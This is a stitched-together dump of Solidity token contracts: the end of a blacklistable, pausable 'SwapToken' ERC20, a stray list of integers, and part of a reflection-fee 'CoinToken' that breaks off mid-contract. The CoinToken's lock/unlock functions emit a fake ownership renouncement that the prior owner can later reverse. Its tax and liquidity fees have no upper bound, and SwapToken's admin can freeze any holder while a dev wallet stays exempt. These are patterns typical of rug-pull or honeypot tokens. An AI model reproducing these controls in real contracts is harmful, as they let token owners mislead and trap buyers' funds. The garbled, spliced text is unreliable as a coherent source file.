require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.6.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeSafe is Initializable, ContextUpgradeSafe, ERC20UpgradeSafe {
function __ERC20Burnable_init() internal initializer {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal initializer {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
uint256[50] private __gap;
}
// File: contracts/SwapToken.sol
pragma solidity ^0.6.0;
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to aother accounts
*/
contract SwapToken is Initializable, ContextUpgradeSafe, AccessControlUpgradeSafe, ERC20BurnableUpgradeSafe, ERC20PausableUpgradeSafe {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
function initialize(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) public {
__SwapToken_init(name, symbol, decimals, totalSupply);
}
function __SwapToken_init(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__SwapToken_init_unchained();
_mint(_msgSender(), totalSupply * (10 ** uint256(decimals)));
}
function __SwapToken_init_unchained() internal initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public {
require(hasRole(PAUSER_ROLE, _msgSender()), "SwapToken: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public {
require(hasRole(PAUSER_ROLE, _msgSender()), "SwapToken: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
override(ERC20UpgradeSafe, ERC20PausableUpgradeSafe)
{
require(to != address(this), "SwapToken: can't transfer to contract address itself");
if( to != _devWallet ) {
require(blacklisted[from] == false);
require(blacklisted[to] == false);
}
super._beforeTokenTransfer(from, to, amount);
}
function _approve(address owner, address spender, uint256 amount)
internal
override(ERC20UpgradeSafe)
notBlacklisted(owner)
notBlacklisted(spender)
{
super._approve(owner, spender, amount);
}
function withdrawTokens(address tokenContract) external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "SwapToken [withdrawTokens]: must have admin role to withdraw");
IERC20 tc = IERC20(tokenContract);
require(tc.transfer(_msgSender(), tc.balanceOf(address(this))), "SwapToken [withdrawTokens] Something went wrong while transferring");
}
function version() public pure returns (string memory) {
return "v4";
}
uint256[50] private __gap;
//BlackListing
mapping(address => bool) internal blacklisted;
event Blacklisted(address indexed _account);
event UnBlacklisted(address indexed _account);
/**
* @dev Throws if argument account is blacklisted
* @param _account The address to check
*/
modifier notBlacklisted(address _account) {
require(blacklisted[_account] == false);
_;
}
/**
* @dev Checks if account is blacklisted
* @param _account The address to check
*/
function isBlacklisted(address _account) public view returns (bool) {
return blacklisted[_account];
}
/**
* @dev Adds account to blacklist
* @param _account The address to blacklist
*/
function blacklist(address _account) external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "SwapToken [blacklist]: must have admin role to blacklist");
blacklisted[_account] = true;
emit Blacklisted(_account);
}
/**
* @dev Removes account from blacklist
* @param _account The address to remove from the blacklist
*/
function unBlacklist(address _account) external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "SwapToken [unBlacklist]: must have admin role to unBlacklist");
blacklisted[_account] = false;
emit UnBlacklisted(_account);
}
//Wallet where fees will go
address private _devWallet;
function setDevWallet(address wallet) external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "SwapToken [setDevWallet]: must have admin role to set dev wallet");
require(
wallet != address(0),
"[Validation] wallet is the zero address"
);
_devWallet = wallet;
}
/**
* @dev returns the dev wallet address
*/
function getDevWallet() external view returns(address) {
return _devWallet;
}
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1013,
1998,
2224,
1014,
2004,
1037,
16074,
3643,
102
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|
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address public _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CoinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 public _taxFee;
uint256 private _previousTaxFee;
uint256 public _liquidityFee;
uint256 private _previousLiquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount;
uint256 public numTokensSellToAddToLiquidity;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (string memory _NAME, string memory _SYMBOL, uint256 _DECIMALS, uint256 _supply, uint256 _txFee,uint256 _lpFee,uint256 _MAXAMOUNT,uint256 SELLMAXAMOUNT,address routerAddress,address tokenOwner,address service) public payable {
_name = _NAME;
_symbol = _SYMBOL;
_decimals = _DECIMALS;
_tTotal = _supply * 10 ** _decimals;
_rTotal = (MAX - (MAX % _tTotal));
_taxFee = _txFee;
_liquidityFee = _lpFee;
_previousTaxFee = _txFee;
_previousLiquidityFee = _lpFee;
_maxTxAmount = _MAXAMOUNT * 10 ** _decimals;
numTokensSellToAddToLiquidity = SELLMAXAMOUNT * 10 ** _decimals;
_rOwned[tokenOwner] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddress);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[tokenOwner] = true;
_isExcludedFromFee[address(this)] = true;
_owner = tokenOwner;
payable(service).transfer(msg.value);
emit Transfer(address(0), tokenOwner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setNumTokensSellToAddToLiquidity(uint256 swapNumber) public onlyOwner {
numTokensSellToAddToLiquidity = swapNumber * 10 ** _decimals;
}
function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner {
_maxTxAmount = maxTxPercent * 10 ** _decimals;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
